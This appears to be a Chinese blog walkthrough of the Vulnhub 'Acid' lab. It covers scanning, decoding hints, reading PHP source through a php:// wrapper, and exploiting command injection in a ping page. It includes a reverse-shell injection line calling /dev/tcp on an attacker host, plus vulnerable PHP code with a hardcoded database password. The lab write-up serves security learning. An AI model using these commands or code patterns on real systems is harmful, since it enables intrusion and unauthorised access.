当前位置: 首页 > news >正文

Vulnhub 渗透练习(四)—— Acid

环境搭建

环境下载

kail 和 靶机网络适配调成 Nat 模式,实在不行直接把网络适配还原默认值,再重试。

信息收集

主机扫描
在这里插入图片描述
没扫到,那可能端口很靠后,把所有端口全扫一遍。
在这里插入图片描述
发现 33447 端口。

在这里插入图片描述
扫描目录,没什么有用的。
在这里插入图片描述
在首页有个 /Challenge 目录,但是这个目录,dirsearch 和 御剑的字典里没有,赶紧添加一波,或者我们可以换个字典用 kail 的 dirbuster,这个里面的字典就很多。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在网站的最下边有一串 16 进制的数字,把他们转换为字符串,再 base64 解密一下就可以得到 wow.jpg 密码,再结合扫的目录,/images/wow.jpg
在这里插入图片描述
在这里插入图片描述

把 图片下载下来,用 string是把字符提取出来。

在这里插入图片描述
在最底部可以看到一串数字,字符串就是 7aee0f6d588ed9905ee37f16a7c610d4

在这里插入图片描述
有点像 hash ,解密一下,密码为 63425
在这里插入图片描述

登录

nnd,弄了半天,没成功,在二次爆破一下 /Challenge 目录,因为靶机是我们自己搭的,线程可以调高一点。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
挨个看一下。

cake.php 提示了个目录,无权访问,难道还要三次爆破?先把其他页面看一下吧。
在这里插入图片描述
include.php
可以用伪协议读取源码。
在这里插入图片描述
cake.php:

<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php'; // 有登录的函数
?><!DOCTYPE html>
<html><head><meta charset="UTF-8"><link rel="stylesheet" href="css/style.css"><link rel="stylesheet" href="styles/main.css" /><title>/Magic_Box</title></head><body><div class="wrapper"><div class="container"><p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$</body>
</html>
<?php/* Come on....catch this file "tails.php" */
?>
.à.!¶i

hacked.php

<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';sec_session_start();if (!isset($_SESSION['protected_page'])){header('Location: protected_page.php');exit;
}
if (!isset($_SESSION['index_page'])){header('Location: protected_page.php');exit;
}
?>
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><link rel="stylesheet" href="css/style.css"><link rel="stylesheet" href="styles/main.css" /><title>Try to Extract Juicy details</title></head><body><div class="wrapper"><div class="container"><?phpif(isset($_REQUEST['add'])){$dbhost = 'localhost';$dbuser = 'root';$dbpass = 'mehak';$conn = mysql_connect($dbhost, $dbuser, $dbpass);if(! $conn ){die('Could not connect: ' . mysql_error());}$id = $_POST['id'];$sql = "SELECT * FROM members WHERE ID = (('$id'))";mysql_select_db('secure_login');$retval = mysql_query( $sql, $conn );if(! $retval ){die('Could not enter data: ' . mysql_error());}echo "You have entered ID successfully...Which is not a big deal :D\n";mysql_close($conn);}?><p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br> <form method="get" action="<?php $_PHP_SELF ?>">Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20"><input name="add" type="submit" id="add" value="Add ID"></body></html>
.à.!¶i

Magic_Box 爆出几个目录。
在这里插入图片描述
low.php:

<?php
if( isset( $_POST[ 'submit' ] ) ) {$target = $_REQUEST[ 'IP' ];// Determine OS and execute the ping command.if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping  ' . $target );$html .= '<pre>'.$cmd.'</pre>';} else { $cmd = shell_exec( 'ping  -c 3 ' . $target );$html .= '<pre>'.$cmd.'</pre>';echo $cmd;}
}
?>
à“`ñ!¶i

command.php

<?php
include_once '../includes/db_connect.php';
include_once '../includes/functions.php';
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'IP' ];if (stristr(php_uname('s'), 'Windows NT')) { 
$cmd = shell_exec( 'ping  ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else { 
$cmd = shell_exec( 'ping  -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
echo "$cmd</br>";
}
}
?>
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><link rel="stylesheet" href="../css/style.css"><link rel="stylesheet" href="../styles/main.css" /><title>Reverse Kunfu</title></head><body><div class="wrapper"><div class="container"><p> <h1>You are 1337 Hax0r. Keep your patiene and proceed further.</h1> <br> <form method="post" action="<?php $_PHP_SELF ?>">Enter the Host to Ping:<input name="IP" placeholder="IP ADDRESS" type="text" id="IP" maxlength="200"><input name="submit" type="submit" id="submit" value="submit"></body></html>
à“`ñ!¶i

tails.php 让我们输入 ID,输入之前获得的 63425,成功进入 command.php

可以命令执行,127.0.0.1|ls 直接反弹 shell

127.0.0.1|bash -c "bash -i >& /dev/tcp/192.168.29.129/9999 0>&1"

在这里插入图片描述
在这里插入图片描述
查找 user 的相关文件,发现一个数据包,把它复制到可以访问的目录下,访问下载,用 wireshark 打开。

find / -user acid 2>/dev/null

在这里插入图片描述
在这里插入图片描述

追踪 tcp 流,看到一个疑似密码,试一下
在这里插入图片描述

su saman
sudo su root

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

总结

dirbuster 扫目录
find / -perm -u=s 2>/dev/null 查找可用 suid
find / -user acid 2>/dev/null 查找用户相关文件

相关文章:

Vulnhub 渗透练习(四)—— Acid

环境搭建 环境下载 kail 和 靶机网络适配调成 Nat 模式&#xff0c;实在不行直接把网络适配还原默认值&#xff0c;再重试。 信息收集 主机扫描 没扫到&#xff0c;那可能端口很靠后&#xff0c;把所有端口全扫一遍。 发现 33447 端口。 扫描目录&#xff0c;没什么有用的…...

C++ 在线工具

online编译器https://godbolt.org/Online C Compiler - online editor (onlinegdb.com) https://www.onlinegdb.com/online_c_compilerC Shell (cpp.sh) https://cpp.sh/在线文档Open Standards (open-std.org)Index of /afs/cs.cmu.edu/academic/class/15211/spring.96/wwwC P…...

使用MMDetection进行目标检测、实例和全景分割

MMDetection 是一个基于 PyTorch 的目标检测开源工具箱&#xff0c;它是 OpenMMLab 项目的一部分。包含以下主要特性&#xff1a; 支持三个任务 目标检测&#xff08;Object Detection&#xff09;是指分类并定位图片中物体的任务实例分割&#xff08;Instance Segmentation&a…...

使用ThreadLocal实现当前登录信息的存取

有志者&#xff0c;事竟成 文章持续更新&#xff0c;可以关注【小奇JAVA面试】第一时间阅读&#xff0c;回复【资料】获取福利&#xff0c;回复【项目】获取项目源码&#xff0c;回复【简历模板】获取简历模板&#xff0c;回复【学习路线图】获取学习路线图。 文章目录一、使用…...

高通平台开发系列讲解(Android篇)AudioTrack音频流数据传输

文章目录 一、音频流数据传输通道创建1.1、流程描述1.2、流程图解二、音频数据传输2.1、流程描述2.2、流程图解沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇章主要图解AudioTrack音频流数据传输 。 一、音频流数据传输通道创建 1.1、流程描述 AudioTrack在set函…...

BUUCTF-firmware1

题目下载&#xff1a;下载 新题型&#xff0c;记录一下 题目给出了flag形式&#xff0c;md5{网址&#xff1a;端口}&#xff0c;下载发现是一个.bin文件 二进制文件&#xff0c;其用途依系统或应用而定。一种文件格式binary的缩写。一个后缀名为".bin"的文件&#x…...

【C++之容器篇】二叉搜索树的理论与使用

目录前言一、二叉搜索树的概念二、二叉搜素树的模拟实现&#xff08;增删查非递归实现&#xff09;1. 二叉搜素树的结点2. 二叉搜索树的实现&#xff08;1&#xff09;. 二叉搜索树的基本结构&#xff08;2&#xff09;构造函数&#xff08;3&#xff09;查找函数&#xff08;4…...

爬虫神级解析工具之XPath:用法详解及实战

一、XPATH是什么 Xpath最初被设计用来搜寻XML文档,但它同样适用于HTML文档的搜索。通过简洁明了的路径选择表达式,它提供了强大的选择功能;同时得益于其内置的丰富的函数,它可以匹配和处理字符串、数值、时间等数据格式,几乎所有节点我们都可以通过Xpath来定位。 在Pyth…...

Markdown编辑器

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题&#xff0c;有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注…...

数据结构<堆>

&#x1f387;&#x1f387;&#x1f387;作者&#xff1a; 小鱼不会骑车 &#x1f386;&#x1f386;&#x1f386;专栏&#xff1a; 《数据结构》 &#x1f393;&#x1f393;&#x1f393;个人简介&#xff1a; 一名专科大一在读的小比特&#xff0c;努力学习编程是我唯一…...

Linux下Socket编程利用多进程实现一台服务器与多台客户端并发通信

文章目录前言一、服务器 server二、客户端 client三、并发通信演示四、程序源码前言 前些日子同“ Linux应用编程 ”专栏中发布过的TCP及UDP在Linux或Windows下的通信都为单进程下的Socket编程&#xff0c;若还存在一些套接字相关函数模糊不清&#xff0c;读者可移步“Socket编…...

【MySQL】数据库基础

目录 1、什么是数据库 2、 数据库基本操作 2.1 查看当前数据库 2.2 创建一个数据库 2.3 选中数据库 2.4 删除数据库 3、常见的数据类型 3.1 数值类型 3.2 字符串类型 3.3 日期类型 4、表的操作 4.1 创建表 4.2 查看指定数据库下的所有表 4.3 查看表的结构 4.…...

Microsoft Office 2021 / 2019 Direct Download Links

前言 微软Office在很长一段时间内都是最常用和最受欢迎的软件。从小型创业公司到大公司,它的使用比例相当。它可以很容易地从微软的官方网站下载。但是,微软只提供安装程序,而不提供完整的软件供下载。这些安装文件通常比较小。下载并运行后,安装的文件将从后端服务器安装M…...

XX 系统oracle RAC+ADG 数据库高可用容灾演练记录

停止备库监听&#xff0c;避免强制关机时切换到备库 su - grid lsnrctl stop 主库高可用重启测试 /u01/app/19c/grid/bin/crsctl stop crs sync;sync;reboot --/u01/app/19c/grid/bin/crsctl start crs 机器重启后自动起的 /u01/app/19c/grid/bin/crsctl stat res -t 主库容…...

JSP与Servlet

一、什么是JSP? JSP(java Service Pages)是由Sun Microsystems公司倡导、许多公司参与一起建立的动态技术标准。 在传统的HTML文件(*.htm 、 *.html)中加入Java程序片段&#xff08;Scriptlet&#xff09;和JSP标签&#xff0c;构成了JSP网页。 1.1 JSP页面的运行原理 客户…...

C++之迭代器

迭代器C中&#xff0c;迭代器就是类似于指针的对象&#xff0c;但比指针的功能更丰富&#xff0c;它提供了对对象的间接访问&#xff0c;每个迭代器对象代表容器中一个确定的地址。举个例子&#xff1a;void test() {vector<int> vv{1,2,3,4,5};for(vector<int>::i…...

2023-02-16:干活小计

数学公式表示学习&#xff1a; 大约耗时&#xff1a;2 hours 在做了一些工作后重读论文&#xff1a;MathBERT: A Pre-Trained Model for Mathematical Formula Understanding 这是本篇论文最重要的idea&#xff1a;Current pre-trained models neglect the structural featu…...

Linux上安装LaTeX

Linux上安装LaTeX1. 安装1.1 下载安装texlive1.2 配置中文1.3 安装XeLatex1.4 安装编辑器1.5 设置默认支持中文编译1.6 配置环境路径2. latex配置2.1 latex自动安装宏包2.2 latex手动安装宏包2.2.1. 查找包2.2.2. 生成.sty文件2.2.3. 复制到配置文件夹3. 更新包3. 卸载参考链接…...

webpack -- 无法将“webpack”项识别为 cmdlet

webpack : 无法将“webpack”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写&#xff0c;如果包括路径&#xff0c;请确保路径正确&#xff0c;然后再试一次。 1.检测是否是版本太高而只能使用脚手架进行打包 webpack4.x的打包已经不能用webpack 文件a …...

对齐与非对齐访问

对齐与非对齐访问 什么是非对齐访问 在机器指令层面&#xff0c;当尝试从不能被 N 整除 (addr % N ! 0) 的起始地址读取 N 字节的数据时即发生了非对齐内存访问。举例而言&#xff0c;从地址 0x10004 读取 4 字节是可以的&#xff0c;然而从地址 0x10005 读取 4 字节数据将会…...

第19节 Node.js Express 框架

Express 是一个为Node.js设计的web开发框架&#xff0c;它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用&#xff0c;和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...

地震勘探——干扰波识别、井中地震时距曲线特点

目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波&#xff1a;可以用来解决所提出的地质任务的波&#xff1b;干扰波&#xff1a;所有妨碍辨认、追踪有效波的其他波。 地震勘探中&#xff0c;有效波和干扰波是相对的。例如&#xff0c;在反射波…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

【入坑系列】TiDB 强制索引在不同库下不生效问题

文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指&#xff1a;像函数调用/返回一样轻量地完成任务切换。 举例说明&#xff1a; 当你在程序中写一个函数调用&#xff1a; funcA() 然后 funcA 执行完后返回&…...

前端导出带有合并单元格的列表

// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...

DBAPI如何优雅的获取单条数据

API如何优雅的获取单条数据 案例一 对于查询类API&#xff0c;查询的是单条数据&#xff0c;比如根据主键ID查询用户信息&#xff0c;sql如下&#xff1a; select id, name, age from user where id #{id}API默认返回的数据格式是多条的&#xff0c;如下&#xff1a; {&qu…...

C# SqlSugar:依赖注入与仓储模式实践

C# SqlSugar&#xff1a;依赖注入与仓储模式实践 在 C# 的应用开发中&#xff0c;数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护&#xff0c;许多开发者会选择成熟的 ORM&#xff08;对象关系映射&#xff09;框架&#xff0c;SqlSugar 就是其中备受…...

工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配

AI3D视觉的工业赋能者 迁移科技成立于2017年&#xff0c;作为行业领先的3D工业相机及视觉系统供应商&#xff0c;累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成&#xff0c;通过稳定、易用、高回报的AI3D视觉系统&#xff0c;为汽车、新能源、金属制造等行…...

Caliper 配置文件解析:config.yaml

Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...